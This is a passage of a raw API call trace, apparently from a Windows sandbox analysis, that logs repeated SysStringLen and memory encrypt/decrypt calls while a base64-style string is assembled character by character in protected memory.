(param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0130.039] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0130.040] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.040] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0130.040] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.040] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.040] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.040] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.040] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0130.040] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.040] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0130.040] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0130.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0130.040] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.040] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0130.040] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0130.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0130.041] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.041] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0130.041] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0130.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0130.041] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.041] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0130.041] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0130.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0130.041] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.041] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0130.041] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0130.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0130.041] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.041] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0130.041] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0130.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0130.042] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.042] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0130.042] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0130.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0130.042] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.042] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0130.042] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0130.042] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.042] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0130.042] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0130.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0130.043] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.043] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0130.043] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0130.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0130.043] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.043] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0130.043] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0130.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0130.043] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.043] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0130.043] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0130.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0130.043] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.044] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0130.044] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0130.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0130.044] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.044] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0130.044] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0130.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0130.044] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.044] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0130.044] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0130.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0130.044] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.044] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0130.044] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0130.045] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.045] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0130.045] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0130.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0130.045] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.045] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0130.045] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0130.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0130.045] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.045] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0130.045] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0130.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0130.046] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.046] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0130.046] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0130.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0130.046] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.046] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0130.046] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0130.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0130.046] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.046] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0130.046] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0130.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0130.046] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.047] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0130.047] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0130.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0130.047] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.047] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0130.047] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0130.047] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.047] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0130.047] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0130.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0130.047] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.048] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0130.048] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.048] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0130.048] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0130.048] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.048] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0130.048] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.048] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0130.048] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0130.048] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.048] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0130.048] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.048] SysStringLen 